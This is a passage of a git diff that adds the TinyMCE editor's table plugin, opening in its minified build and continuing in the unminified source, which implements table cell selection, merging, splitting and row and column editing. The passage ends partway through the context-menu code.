D,B=r.selection,z=B.getNode()||r.getBody();if(r.dom.getParent(C,"td")||r.dom.getParent(C,"th")||r.dom.select("td.mceSelected,th.mceSelected").length){w.removeAll();if(z.nodeName=="A"&&!r.dom.getAttrib(z,"name")){w.add({title:"advanced.link_desc",icon:"link",cmd:r.plugins.advlink?"mceAdvLink":"mceLink",ui:true});w.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"});w.addSeparator()}if(z.nodeName=="IMG"&&z.className.indexOf("mceItem")==-1){w.add({title:"advanced.image_desc",icon:"image",cmd:r.plugins.advimage?"mceAdvImage":"mceImage",ui:true});w.addSeparator()}w.add({title:"table.desc",icon:"table",cmd:"mceInsertTable",value:{action:"insert"}});w.add({title:"table.props_desc",icon:"table_props",cmd:"mceInsertTable"});w.add({title:"table.del",icon:"delete_table",cmd:"mceTableDelete"});w.addSeparator();D=w.addMenu({title:"table.cell"});D.add({title:"table.cell_desc",icon:"cell_props",cmd:"mceTableCellProps"});D.add({title:"table.split_cells_desc",icon:"split_cells",cmd:"mceTableSplitCells"});D.add({title:"table.merge_cells_desc",icon:"merge_cells",cmd:"mceTableMergeCells"});D=w.addMenu({title:"table.row"});D.add({title:"table.row_desc",icon:"row_props",cmd:"mceTableRowProps"});D.add({title:"table.row_before_desc",icon:"row_before",cmd:"mceTableInsertRowBefore"});D.add({title:"table.row_after_desc",icon:"row_after",cmd:"mceTableInsertRowAfter"});D.add({title:"table.delete_row_desc",icon:"delete_row",cmd:"mceTableDeleteRow"});D.addSeparator();D.add({title:"table.cut_row_desc",icon:"cut",cmd:"mceTableCutRow"});D.add({title:"table.copy_row_desc",icon:"copy",cmd:"mceTableCopyRow"});D.add({title:"table.paste_row_before_desc",icon:"paste",cmd:"mceTablePasteRowBefore"}).setDisabled(!m);D.add({title:"table.paste_row_after_desc",icon:"paste",cmd:"mceTablePasteRowAfter"}).setDisabled(!m);D=w.addMenu({title:"table.col"});D.add({title:"table.col_before_desc",icon:"col_before",cmd:"mceTableInsertColBefore"});D.add({title:"table.col_after_desc",icon:"col_after",cmd:"mceTableInsertColAfter"});D.add({title:"table.delete_col_desc",icon:"delete_col",cmd:"mceTableDeleteCol"})}else{w.add({title:"table.desc",icon:"table",cmd:"mceInsertTable"})}})}if(d.isWebKit){function v(C,N){var L=d.VK;var Q=N.keyCode;function O(Y,U,S){var T=Y?"previousSibling":"nextSibling";var Z=C.dom.getParent(U,"tr");var X=Z[T];if(X){z(C,U,X,Y);d.dom.Event.cancel(S);return true}else{var aa=C.dom.getParent(Z,"table");var W=Z.parentNode;var R=W.nodeName.toLowerCase();if(R==="tbody"||R===(Y?"tfoot":"thead")){var V=w(Y,aa,W,"tbody");if(V!==null){return K(Y,V,U,S)}}return M(Y,Z,T,aa,S)}}function w(V,T,U,X){var S=C.dom.select(">"+X,T);var R=S.indexOf(U);if(V&&R===0||!V&&R===S.length-1){return B(V,T)}else{if(R===-1){var W=U.tagName.toLowerCase()==="thead"?0:S.length-1;return S[W]}else{return S[R+(V?-1:1)]}}}function B(U,T){var S=U?"thead":"tfoot";var R=C.dom.select(">"+S,T);return R.length!==0?R[0]:null}function K(V,T,S,U){var R=J(T,V);R&&z(C,S,R,V);d.dom.Event.cancel(U);return true}function M(Y,U,R,X,W){var S=X[R];if(S){F(S);return true}else{var V=C.dom.getParent(X,"td,th");if(V){return O(Y,V,W)}else{var T=J(U,!Y);F(T);return d.dom.Event.cancel(W)}}}function J(S,R){return S&&S[R?"lastChild":"firstChild"]}function F(R){C.selection.setCursorLocation(R,0)}function A(){return Q==L.UP||Q==L.DOWN}function D(R){var T=R.selection.getNode();var S=R.dom.getParent(T,"tr");return S!==null}function P(S){var R=0;var T=S;while(T.previousSibling){T=T.previousSibling;R=R+a(T,"colspan")}return R}function E(T,R){var U=0;var S=0;e(T.children,function(V,W){U=U+a(V,"colspan");S=W;if(U>R){return false}});return S}function z(T,W,Y,V){var X=P(T.dom.getParent(W,"td,th"));var S=E(Y,X);var R=Y.childNodes[S];var U=J(R,V);F(U||R)}function H(R){var T=C.selection.getNode();var U=C.dom.getParent(T,"td,th");var S=C.dom.getParent(R,"td,th");return U&&U!==S&&I(U,S)}function I(S,R){return C.dom.getParent(S,"TABLE")===C.dom.getParent(R,"TABLE")}if(A()&&D(C)){var G=C.selection.getNode();setTimeout(function(){if(H(G)){O(!N.shiftKey&&Q===L.UP,G,N)}},0)}}r.onKeyDown.add(v)}if(!d.isIE){function s(){var w;for(w=r.getBody().lastChild;w&&w.nodeType==3&&!w.nodeValue.length;w=w.previousSibling){}if(w&&w.nodeName=="TABLE"){r.dom.add(r.getBody(),"p",null,'
    ')}}if(d.isGecko){r.onKeyDown.add(function(z,B){var w,A,C=z.dom;if(B.keyCode==37||B.keyCode==38){w=z.selection.getRng();A=C.getParent(w.startContainer,"table");if(A&&z.getBody().firstChild==A){if(c(w,A)){w=C.createRng();w.setStartBefore(A);w.setEndBefore(A);z.selection.setRng(w);B.preventDefault()}}}})}r.onKeyUp.add(s);r.onSetContent.add(s);r.onVisualAid.add(s);r.onPreProcess.add(function(w,A){var z=A.node.lastChild;if(z&&z.childNodes.length==1&&z.firstChild.nodeName=="BR"){w.dom.remove(z)}});if(d.isGecko){r.onKeyDown.add(function(z,B){if(B.keyCode===d.VK.ENTER&&B.shiftKey){var A=z.selection.getRng().startContainer;var C=q.getParent(A,"td,th");if(C){var w=z.getDoc().createTextNode("\uFEFF");q.insertAfter(w,A)}}})}s();r.startContent=r.getContent({format:"raw"})}});e({mceTableSplitCells:function(n){n.split()},mceTableMergeCells:function(o){var p,q,n;n=g.dom.getParent(g.selection.getNode(),"th,td");if(n){p=n.rowSpan;q=n.colSpan}if(!g.dom.select("td.mceSelected,th.mceSelected").length){f.open({url:h+"/merge_cells.htm",width:240+parseInt(g.getLang("table.merge_cells_delta_width",0)),height:110+parseInt(g.getLang("table.merge_cells_delta_height",0)),inline:1},{rows:p,cols:q,onaction:function(r){o.merge(n,r.cols,r.rows)},plugin_url:h})}else{o.merge()}},mceTableInsertRowBefore:function(n){n.insertRow(true)},mceTableInsertRowAfter:function(n){n.insertRow()},mceTableInsertColBefore:function(n){n.insertCol(true)},mceTableInsertColAfter:function(n){n.insertCol()},mceTableDeleteCol:function(n){n.deleteCols()},mceTableDeleteRow:function(n){n.deleteRows()},mceTableCutRow:function(n){m=n.cutRows()},mceTableCopyRow:function(n){m=n.copyRows()},mceTablePasteRowBefore:function(n){n.pasteRows(m,true)},mceTablePasteRowAfter:function(n){n.pasteRows(m)},mceTableDelete:function(n){n.deleteTable()}},function(o,n){g.addCommand(n,function(){var p=l();if(p){o(p);g.execCommand("mceRepaint");k()}})});e({mceInsertTable:function(n){f.open({url:h+"/table.htm",width:400+parseInt(g.getLang("table.table_delta_width",0)),height:320+parseInt(g.getLang("table.table_delta_height",0)),inline:1},{plugin_url:h,action:n?n.action:0})},mceTableRowProps:function(){f.open({url:h+"/row.htm",width:400+parseInt(g.getLang("table.rowprops_delta_width",0)),height:295+parseInt(g.getLang("table.rowprops_delta_height",0)),inline:1},{plugin_url:h})},mceTableCellProps:function(){f.open({url:h+"/cell.htm",width:400+parseInt(g.getLang("table.cellprops_delta_width",0)),height:295+parseInt(g.getLang("table.cellprops_delta_height",0)),inline:1},{plugin_url:h})}},function(o,n){g.addCommand(n,function(p,q){o(q)})})}});d.PluginManager.add("table",d.plugins.TablePlugin)})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/editor_plugin_src.js b/js/tiny_mce2/plugins/table/editor_plugin_src.js new file mode 100755 index 0000000..ed70f3d --- /dev/null +++ b/js/tiny_mce2/plugins/table/editor_plugin_src.js @@ -0,0 +1,1426 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function(tinymce) { + var each = tinymce.each; + + // Checks if the selection/caret is at the start of the specified block element + function isAtStart(rng, par) { + var doc = par.ownerDocument, rng2 = doc.createRange(), elm; + + rng2.setStartBefore(par); + rng2.setEnd(rng.endContainer, rng.endOffset); + + elm = doc.createElement('body'); + elm.appendChild(rng2.cloneContents()); + + // Check for text characters of other elements that should be treated as content + return elm.innerHTML.replace(/<(br|img|object|embed|input|textarea)[^>]*>/gi, '-').replace(/<[^>]+>/g, '').length == 0; + }; + + function getSpanVal(td, name) { + return parseInt(td.getAttribute(name) || 1); + } + + /** + * Table Grid class. + */ + function TableGrid(table, dom, selection) { + var grid, startPos, endPos, selectedCell; + + buildGrid(); + selectedCell = dom.getParent(selection.getStart(), 'th,td'); + if (selectedCell) { + startPos = getPos(selectedCell); + endPos = findEndPos(); + selectedCell = getCell(startPos.x, startPos.y); + } + + function cloneNode(node, children) { + node = node.cloneNode(children); + node.removeAttribute('id'); + + return node; + } + + function buildGrid() { + var startY = 0; + + grid = []; + + each(['thead', 'tbody', 'tfoot'], function(part) { + var rows = dom.select('> ' + part + ' tr', table); + + each(rows, function(tr, y) { + y += startY; + + each(dom.select('> td, > th', tr), function(td, x) { + var x2, y2, rowspan, colspan; + + // Skip over existing cells produced by rowspan + if (grid[y]) { + while (grid[y][x]) + x++; + } + + // Get col/rowspan from cell + rowspan = getSpanVal(td, 'rowspan'); + colspan = getSpanVal(td, 'colspan'); + + // Fill out rowspan/colspan right and down + for (y2 = y; y2 < y + rowspan; y2++) { + if (!grid[y2]) + grid[y2] = []; + + for (x2 = x; x2 < x + colspan; x2++) { + grid[y2][x2] = { + part : part, + real : y2 == y && x2 == x, + elm : td, + rowspan : rowspan, + colspan : colspan + }; + } + } + }); + }); + + startY += rows.length; + }); + }; + + function getCell(x, y) { + var row; + + row = grid[y]; + if (row) + return row[x]; + }; + + function setSpanVal(td, name, val) { + if (td) { + val = parseInt(val); + + if (val === 1) + td.removeAttribute(name, 1); + else + td.setAttribute(name, val, 1); + } + } + + function isCellSelected(cell) { + return cell && (dom.hasClass(cell.elm, 'mceSelected') || cell == selectedCell); + }; + + function getSelectedRows() { + var rows = []; + + each(table.rows, function(row) { + each(row.cells, function(cell) { + if (dom.hasClass(cell, 'mceSelected') || cell == selectedCell.elm) { + rows.push(row); + return false; + } + }); + }); + + return rows; + }; + + function deleteTable() { + var rng = dom.createRng(); + + rng.setStartAfter(table); + rng.setEndAfter(table); + + selection.setRng(rng); + + dom.remove(table); + }; + + function cloneCell(cell) { + var formatNode; + + // Clone formats + tinymce.walk(cell, function(node) { + var curNode; + + if (node.nodeType == 3) { + each(dom.getParents(node.parentNode, null, cell).reverse(), function(node) { + node = cloneNode(node, false); + + if (!formatNode) + formatNode = curNode = node; + else if (curNode) + curNode.appendChild(node); + + curNode = node; + }); + + // Add something to the inner node + if (curNode) + curNode.innerHTML = tinymce.isIE ? ' ' : '
    '; + + return false; + } + }, 'childNodes'); + + cell = cloneNode(cell, false); + setSpanVal(cell, 'rowSpan', 1); + setSpanVal(cell, 'colSpan', 1); + + if (formatNode) { + cell.appendChild(formatNode); + } else { + if (!tinymce.isIE) + cell.innerHTML = '
    '; + } + + return cell; + }; + + function cleanup() { + var rng = dom.createRng(); + + // Empty rows + each(dom.select('tr', table), function(tr) { + if (tr.cells.length == 0) + dom.remove(tr); + }); + + // Empty table + if (dom.select('tr', table).length == 0) { + rng.setStartAfter(table); + rng.setEndAfter(table); + selection.setRng(rng); + dom.remove(table); + return; + } + + // Empty header/body/footer + each(dom.select('thead,tbody,tfoot', table), function(part) { + if (part.rows.length == 0) + dom.remove(part); + }); + + // Restore selection to start position if it still exists + buildGrid(); + + // Restore the selection to the closest table position + row = grid[Math.min(grid.length - 1, startPos.y)]; + if (row) { + selection.select(row[Math.min(row.length - 1, startPos.x)].elm, true); + selection.collapse(true); + } + }; + + function fillLeftDown(x, y, rows, cols) { + var tr, x2, r, c, cell; + + tr = grid[y][x].elm.parentNode; + for (r = 1; r <= rows; r++) { + tr = dom.getNext(tr, 'tr'); + + if (tr) { + // Loop left to find real cell + for (x2 = x; x2 >= 0; x2--) { + cell = grid[y + r][x2].elm; + + if (cell.parentNode == tr) { + // Append clones after + for (c = 1; c <= cols; c++) + dom.insertAfter(cloneCell(cell), cell); + + break; + } + } + + if (x2 == -1) { + // Insert nodes before first cell + for (c = 1; c <= cols; c++) + tr.insertBefore(cloneCell(tr.cells[0]), tr.cells[0]); + } + } + } + }; + + function split() { + each(grid, function(row, y) { + each(row, function(cell, x) { + var colSpan, rowSpan, newCell, i; + + if (isCellSelected(cell)) { + cell = cell.elm; + colSpan = getSpanVal(cell, 'colspan'); + rowSpan = getSpanVal(cell, 'rowspan'); + + if (colSpan > 1 || rowSpan > 1) { + setSpanVal(cell, 'rowSpan', 1); + setSpanVal(cell, 'colSpan', 1); + + // Insert cells right + for (i = 0; i < colSpan - 1; i++) + dom.insertAfter(cloneCell(cell), cell); + + fillLeftDown(x, y, rowSpan - 1, colSpan); + } + } + }); + }); + }; + + function merge(cell, cols, rows) { + var startX, startY, endX, endY, x, y, startCell, endCell, cell, children, count; + + // Use specified cell and cols/rows + if (cell) { + pos = getPos(cell); + startX = pos.x; + startY = pos.y; + endX = startX + (cols - 1); + endY = startY + (rows - 1); + } else { + // Use selection + startX = startPos.x; + startY = startPos.y; + endX = endPos.x; + endY = endPos.y; + } + + // Find start/end cells + startCell = getCell(startX, startY); + endCell = getCell(endX, endY); + + // Check if the cells exists and if they are of the same part for example tbody = tbody + if (startCell && endCell && startCell.part == endCell.part) { + // Split and rebuild grid + split(); + buildGrid(); + + // Set row/col span to start cell + startCell = getCell(startX, startY).elm; + setSpanVal(startCell, 'colSpan', (endX - startX) + 1); + setSpanVal(startCell, 'rowSpan', (endY - startY) + 1); + + // Remove other cells and add it's contents to the start cell + for (y = startY; y <= endY; y++) { + for (x = startX; x <= endX; x++) { + if (!grid[y] || !grid[y][x]) + continue; + + cell = grid[y][x].elm; + + if (cell != startCell) { + // Move children to startCell + children = tinymce.grep(cell.childNodes); + each(children, function(node) { + startCell.appendChild(node); + }); + + // Remove bogus nodes if there is children in the target cell + if (children.length) { + children = tinymce.grep(startCell.childNodes); + count = 0; + each(children, function(node) { + if (node.nodeName == 'BR' && dom.getAttrib(node, 'data-mce-bogus') && count++ < children.length - 1) + startCell.removeChild(node); + }); + } + + // Remove cell + dom.remove(cell); + } + } + } + + // Remove empty rows etc and restore caret location + cleanup(); + } + }; + + function insertRow(before) { + var posY, cell, lastCell, x, rowElm, newRow, newCell, otherCell, rowSpan; + + // Find first/last row + each(grid, function(row, y) { + each(row, function(cell, x) { + if (isCellSelected(cell)) { + cell = cell.elm; + rowElm = cell.parentNode; + newRow = cloneNode(rowElm, false); + posY = y; + + if (before) + return false; + } + }); + + if (before) + return !posY; + }); + + for (x = 0; x < grid[0].length; x++) { + // Cell not found could be because of an invalid table structure + if (!grid[posY][x]) + continue; + + cell = grid[posY][x].elm; + + if (cell != lastCell) { + if (!before) { + rowSpan = getSpanVal(cell, 'rowspan'); + if (rowSpan > 1) { + setSpanVal(cell, 'rowSpan', rowSpan + 1); + continue; + } + } else { + // Check if cell above can be expanded + if (posY > 0 && grid[posY - 1][x]) { + otherCell = grid[posY - 1][x].elm; + rowSpan = getSpanVal(otherCell, 'rowSpan'); + if (rowSpan > 1) { + setSpanVal(otherCell, 'rowSpan', rowSpan + 1); + continue; + } + } + } + + // Insert new cell into new row + newCell = cloneCell(cell); + setSpanVal(newCell, 'colSpan', cell.colSpan); + + newRow.appendChild(newCell); + + lastCell = cell; + } + } + + if (newRow.hasChildNodes()) { + if (!before) + dom.insertAfter(newRow, rowElm); + else + rowElm.parentNode.insertBefore(newRow, rowElm); + } + }; + + function insertCol(before) { + var posX, lastCell; + + // Find first/last column + each(grid, function(row, y) { + each(row, function(cell, x) { + if (isCellSelected(cell)) { + posX = x; + + if (before) + return false; + } + }); + + if (before) + return !posX; + }); + + each(grid, function(row, y) { + var cell, rowSpan, colSpan; + + if (!row[posX]) + return; + + cell = row[posX].elm; + if (cell != lastCell) { + colSpan = getSpanVal(cell, 'colspan'); + rowSpan = getSpanVal(cell, 'rowspan'); + + if (colSpan == 1) { + if (!before) { + dom.insertAfter(cloneCell(cell), cell); + fillLeftDown(posX, y, rowSpan - 1, colSpan); + } else { + cell.parentNode.insertBefore(cloneCell(cell), cell); + fillLeftDown(posX, y, rowSpan - 1, colSpan); + } + } else + setSpanVal(cell, 'colSpan', cell.colSpan + 1); + + lastCell = cell; + } + }); + }; + + function deleteCols() { + var cols = []; + + // Get selected column indexes + each(grid, function(row, y) { + each(row, function(cell, x) { + if (isCellSelected(cell) && tinymce.inArray(cols, x) === -1) { + each(grid, function(row) { + var cell = row[x].elm, colSpan; + + colSpan = getSpanVal(cell, 'colSpan'); + + if (colSpan > 1) + setSpanVal(cell, 'colSpan', colSpan - 1); + else + dom.remove(cell); + }); + + cols.push(x); + } + }); + }); + + cleanup(); + }; + + function deleteRows() { + var rows; + + function deleteRow(tr) { + var nextTr, pos, lastCell; + + nextTr = dom.getNext(tr, 'tr'); + + // Move down row spanned cells + each(tr.cells, function(cell) { + var rowSpan = getSpanVal(cell, 'rowSpan'); + + if (rowSpan > 1) { + setSpanVal(cell, 'rowSpan', rowSpan - 1); + pos = getPos(cell); + fillLeftDown(pos.x, pos.y, 1, 1); + } + }); + + // Delete cells + pos = getPos(tr.cells[0]); + each(grid[pos.y], function(cell) { + var rowSpan; + + cell = cell.elm; + + if (cell != lastCell) { + rowSpan = getSpanVal(cell, 'rowSpan'); + + if (rowSpan <= 1) + dom.remove(cell); + else + setSpanVal(cell, 'rowSpan', rowSpan - 1); + + lastCell = cell; + } + }); + }; + + // Get selected rows and move selection out of scope + rows = getSelectedRows(); + + // Delete all selected rows + each(rows.reverse(), function(tr) { + deleteRow(tr); + }); + + cleanup(); + }; + + function cutRows() { + var rows = getSelectedRows(); + + dom.remove(rows); + cleanup(); + + return rows; + }; + + function copyRows() { + var rows = getSelectedRows(); + + each(rows, function(row, i) { + rows[i] = cloneNode(row, true); + }); + + return rows; + }; + + function pasteRows(rows, before) { + var selectedRows = getSelectedRows(), + targetRow = selectedRows[before ? 0 : selectedRows.length - 1], + targetCellCount = targetRow.cells.length; + + // Calc target cell count + each(grid, function(row) { + var match; + + targetCellCount = 0; + each(row, function(cell, x) { + if (cell.real) + targetCellCount += cell.colspan; + + if (cell.elm.parentNode == targetRow) + match = 1; + }); + + if (match) + return false; + }); + + if (!before) + rows.reverse(); + + each(rows, function(row) { + var cellCount = row.cells.length, cell; + + // Remove col/rowspans + for (i = 0; i < cellCount; i++) { + cell = row.cells[i]; + setSpanVal(cell, 'colSpan', 1); + setSpanVal(cell, 'rowSpan', 1); + } + + // Needs more cells + for (i = cellCount; i < targetCellCount; i++) + row.appendChild(cloneCell(row.cells[cellCount - 1])); + + // Needs less cells + for (i = targetCellCount; i < cellCount; i++) + dom.remove(row.cells[i]); + + // Add before/after + if (before) + targetRow.parentNode.insertBefore(row, targetRow); + else + dom.insertAfter(row, targetRow); + }); + }; + + function getPos(target) { + var pos; + + each(grid, function(row, y) { + each(row, function(cell, x) { + if (cell.elm == target) { + pos = {x : x, y : y}; + return false; + } + }); + + return !pos; + }); + + return pos; + }; + + function setStartCell(cell) { + startPos = getPos(cell); + }; + + function findEndPos() { + var pos, maxX, maxY; + + maxX = maxY = 0; + + each(grid, function(row, y) { + each(row, function(cell, x) { + var colSpan, rowSpan; + + if (isCellSelected(cell)) { + cell = grid[y][x]; + + if (x > maxX) + maxX = x; + + if (y > maxY) + maxY = y; + + if (cell.real) { + colSpan = cell.colspan - 1; + rowSpan = cell.rowspan - 1; + + if (colSpan) { + if (x + colSpan > maxX) + maxX = x + colSpan; + } + + if (rowSpan) { + if (y + rowSpan > maxY) + maxY = y + rowSpan; + } + } + } + }); + }); + + return {x : maxX, y : maxY}; + }; + + function setEndCell(cell) { + var startX, startY, endX, endY, maxX, maxY, colSpan, rowSpan; + + endPos = getPos(cell); + + if (startPos && endPos) { + // Get start/end positions + startX = Math.min(startPos.x, endPos.x); + startY = Math.min(startPos.y, endPos.y); + endX = Math.max(startPos.x, endPos.x); + endY = Math.max(startPos.y, endPos.y); + + // Expand end positon to include spans + maxX = endX; + maxY = endY; + + // Expand startX + for (y = startY; y <= maxY; y++) { + cell = grid[y][startX]; + + if (!cell.real) { + if (startX - (cell.colspan - 1) < startX) + startX -= cell.colspan - 1; + } + } + + // Expand startY + for (x = startX; x <= maxX; x++) { + cell = grid[startY][x]; + + if (!cell.real) { + if (startY - (cell.rowspan - 1) < startY) + startY -= cell.rowspan - 1; + } + } + + // Find max X, Y + for (y = startY; y <= endY; y++) { + for (x = startX; x <= endX; x++) { + cell = grid[y][x]; + + if (cell.real) { + colSpan = cell.colspan - 1; + rowSpan = cell.rowspan - 1; + + if (colSpan) { + if (x + colSpan > maxX) + maxX = x + colSpan; + } + + if (rowSpan) { + if (y + rowSpan > maxY) + maxY = y + rowSpan; + } + } + } + } + + // Remove current selection + dom.removeClass(dom.select('td.mceSelected,th.mceSelected'), 'mceSelected'); + + // Add new selection + for (y = startY; y <= maxY; y++) { + for (x = startX; x <= maxX; x++) { + if (grid[y][x]) + dom.addClass(grid[y][x].elm, 'mceSelected'); + } + } + } + }; + + // Expose to public + tinymce.extend(this, { + deleteTable : deleteTable, + split : split, + merge : merge, + insertRow : insertRow, + insertCol : insertCol, + deleteCols : deleteCols, + deleteRows : deleteRows, + cutRows : cutRows, + copyRows : copyRows, + pasteRows : pasteRows, + getPos : getPos, + setStartCell : setStartCell, + setEndCell : setEndCell + }); + }; + + tinymce.create('tinymce.plugins.TablePlugin', { + init : function(ed, url) { + var winMan, clipboardRows, hasCellSelection = true; // Might be selected cells on reload + + function createTableGrid(node) { + var selection = ed.selection, tblElm = ed.dom.getParent(node || selection.getNode(), 'table'); + + if (tblElm) + return new TableGrid(tblElm, ed.dom, selection); + }; + + function cleanup() { + // Restore selection possibilities + ed.getBody().style.webkitUserSelect = ''; + + if (hasCellSelection) { + ed.dom.removeClass(ed.dom.select('td.mceSelected,th.mceSelected'), 'mceSelected'); + hasCellSelection = false; + } + }; + + // Register buttons + each([ + ['table', 'table.desc', 'mceInsertTable', true], + ['delete_table', 'table.del', 'mceTableDelete'], + ['delete_col', 'table.delete_col_desc', 'mceTableDeleteCol'], + ['delete_row', 'table.delete_row_desc', 'mceTableDeleteRow'], + ['col_after', 'table.col_after_desc', 'mceTableInsertColAfter'], + ['col_before', 'table.col_before_desc', 'mceTableInsertColBefore'], + ['row_after', 'table.row_after_desc', 'mceTableInsertRowAfter'], + ['row_before', 'table.row_before_desc', 'mceTableInsertRowBefore'], + ['row_props', 'table.row_desc', 'mceTableRowProps', true], + ['cell_props', 'table.cell_desc', 'mceTableCellProps', true], + ['split_cells', 'table.split_cells_desc', 'mceTableSplitCells', true], + ['merge_cells', 'table.merge_cells_desc', 'mceTableMergeCells', true] + ], function(c) { + ed.addButton(c[0], {title : c[1], cmd : c[2], ui : c[3]}); + }); + + // Select whole table is a table border is clicked + if (!tinymce.isIE) { + ed.onClick.add(function(ed, e) { + e = e.target; + + if (e.nodeName === 'TABLE') { + ed.selection.select(e); + ed.nodeChanged(); + } + }); + } + + ed.onPreProcess.add(function(ed, args) { + var nodes, i, node, dom = ed.dom, value; + + nodes = dom.select('table', args.node); + i = nodes.length; + while (i--) { + node = nodes[i]; + dom.setAttrib(node, 'data-mce-style', ''); + + if ((value = dom.getAttrib(node, 'width'))) { + dom.setStyle(node, 'width', value); + dom.setAttrib(node, 'width', ''); + } + + if ((value = dom.getAttrib(node, 'height'))) { + dom.setStyle(node, 'height', value); + dom.setAttrib(node, 'height', ''); + } + } + }); + + // Handle node change updates + ed.onNodeChange.add(function(ed, cm, n) { + var p; + + n = ed.selection.getStart(); + p = ed.dom.getParent(n, 'td,th,caption'); + cm.setActive('table', n.nodeName === 'TABLE' || !!p); + + // Disable table tools if we are in caption + if (p && p.nodeName === 'CAPTION') + p = 0; + + cm.setDisabled('delete_table', !p); + cm.setDisabled('delete_col', !p); + cm.setDisabled('delete_table', !p); + cm.setDisabled('delete_row', !p); + cm.setDisabled('col_after', !p); + cm.setDisabled('col_before', !p); + cm.setDisabled('row_after', !p); + cm.setDisabled('row_before', !p); + cm.setDisabled('row_props', !p); + cm.setDisabled('cell_props', !p); + cm.setDisabled('split_cells', !p); + cm.setDisabled('merge_cells', !p); + }); + + ed.onInit.add(function(ed) { + var startTable, startCell, dom = ed.dom, tableGrid; + + winMan = ed.windowManager; + + // Add cell selection logic + ed.onMouseDown.add(function(ed, e) { + if (e.button != 2) { + cleanup(); + + startCell = dom.getParent(e.target, 'td,th'); + startTable = dom.getParent(startCell, 'table'); + } + }); + + dom.bind(ed.getDoc(), 'mouseover', function(e) { + var sel, table, target = e.target; + + if (startCell && (tableGrid || target != startCell) && (target.nodeName == 'TD' || target.nodeName == 'TH')) { + table = dom.getParent(target, 'table'); + if (table == startTable) { + if (!tableGrid) { + tableGrid = createTableGrid(table); + tableGrid.setStartCell(startCell); + + ed.getBody().style.webkitUserSelect = 'none'; + } + + tableGrid.setEndCell(target); + hasCellSelection = true; + } + + // Remove current selection + sel = ed.selection.getSel(); + + try { + if (sel.removeAllRanges) + sel.removeAllRanges(); + else + sel.empty(); + } catch (ex) { + // IE9 might throw errors here + } + + e.preventDefault(); + } + }); + + ed.onMouseUp.add(function(ed, e) { + var rng, sel = ed.selection, selectedCells, nativeSel = sel.getSel(), walker, node, lastNode, endNode; + + // Move selection to startCell + if (startCell) { + if (tableGrid) + ed.getBody().style.webkitUserSelect = ''; + + function setPoint(node, start) { + var walker = new tinymce.dom.TreeWalker(node, node); + + do { + // Text node + if (node.nodeType == 3 && tinymce.trim(node.nodeValue).length != 0) { + if (start) + rng.setStart(node, 0); + else + rng.setEnd(node, node.nodeValue.length); + + return; + } + + // BR element + if (node.nodeName == 'BR') { + if (start) + rng.setStartBefore(node); + else + rng.setEndBefore(node); + + return; + } + } while (node = (start ? walker.next() : walker.prev())); + } + + // Try to expand text selection as much as we can only Gecko supports cell selection + selectedCells = dom.select('td.mceSelected,th.mceSelected'); + if (selectedCells.length > 0) { + rng = dom.createRng(); + node = selectedCells[0]; + endNode = selectedCells[selectedCells.length - 1]; + rng.setStartBefore(node); + rng.setEndAfter(node); + + setPoint(node, 1); + walker = new tinymce.dom.TreeWalker(node, dom.getParent(selectedCells[0], 'table')); + + do { + if (node.nodeName == 'TD' || node.nodeName == 'TH') { + if (!dom.hasClass(node, 'mceSelected')) + break; + + lastNode = node; + } + } while (node = walker.next()); + + setPoint(lastNode); + + sel.setRng(rng); + } + + ed.nodeChanged(); + startCell = tableGrid = startTable = null; + } + }); + + ed.onKeyUp.add(function(ed, e) { + cleanup(); + }); + + ed.onKeyDown.add(function (ed, e) { + fixTableCellSelection(ed); + }); + + ed.onMouseDown.add(function (ed, e) { + if (e.button != 2) { + fixTableCellSelection(ed); + } + }); + function tableCellSelected(ed, rng, n, currentCell) { + // The decision of when a table cell is selected is somewhat involved. The fact that this code is + // required is actually a pointer to the root cause of this bug. A cell is selected when the start + // and end offsets are 0, the start container is a text, and the selection node is either a TR (most cases) + // or the parent of the table (in the case of the selection containing the last cell of a table). + var TEXT_NODE = 3, table = ed.dom.getParent(rng.startContainer, 'TABLE'), + tableParent, allOfCellSelected, tableCellSelection; + if (table) + tableParent = table.parentNode; + allOfCellSelected =rng.startContainer.nodeType == TEXT_NODE && + rng.startOffset == 0 && + rng.endOffset == 0 && + currentCell && + (n.nodeName=="TR" || n==tableParent); + tableCellSelection = (n.nodeName=="TD"||n.nodeName=="TH")&& !currentCell; + return allOfCellSelected || tableCellSelection; + // return false; + } + + // this nasty hack is here to work around some WebKit selection bugs. + function fixTableCellSelection(ed) { + if (!tinymce.isWebKit) + return; + + var rng = ed.selection.getRng(); + var n = ed.selection.getNode(); + var currentCell = ed.dom.getParent(rng.startContainer, 'TD,TH'); + + if (!tableCellSelected(ed, rng, n, currentCell)) + return; + if (!currentCell) { + currentCell=n; + } + + // Get the very last node inside the table cell + var end = currentCell.lastChild; + while (end.lastChild) + end = end.lastChild; + + // Select the entire table cell. Nothing outside of the table cell should be selected. + rng.setEnd(end, end.nodeValue.length); + ed.selection.setRng(rng); + } + ed.plugins.table.fixTableCellSelection=fixTableCellSelection; + + // Add context menu + if (ed && ed.plugins.contextmenu) { + ed.plugins.contextmenu.onContextMenu.add(function(th, m, e) { + var sm, se = ed.selection, el = se.getNode() || ed.getBody(); + + if (ed.dom.getParent(e, 'td') || ed.dom.getParent(e, 'th') || ed.dom.select('td.mceSelected,th.mceSelected').length) { + m.removeAll(); + + if (el.nodeName == 'A' && !ed.dom.getAttrib(el, 'name')) { + m.add({title : 'advanced.link_desc', icon : 'link', cmd : ed.plugins.advlink ? 'mceAdvLink' : 'mceLink', ui : true}); + m.add({title : 'advanced.unlink_desc', icon : 'unlink', cmd : 'UnLink'}); + m.addSeparator(); + } + + if (el.nodeName == 'IMG' && el.className.indexOf('mceItem') == -1) { + m.add({title : 'advanced.image_desc', icon : 'image', cmd : ed.plugins.advimage ? 'mceAdvImage' : 'mceImage', ui : true}); + m.addSeparator(); + } + + m.add({title : 'table.desc', icon : 'table', cmd : 'mceInsertTable', value : {action : 'insert'}}); + m.add({title : 'table.props_desc', icon : 'table_props', cmd : 'mceInsertTable'}); + m.add({title : 'table.del', icon : 'delete_table', cmd : 'mceTableDelete'}); + m.addSeparator(); + + // Cell menu + sm = m.addMenu({title : 'table.cell'}); + sm.add({title : 'table.cell_desc', icon : 'cell_props', cmd : 'mceTableCellProps'}); + sm.add({title : 'table.split_cells_desc', icon : 'split_cells', cmd : 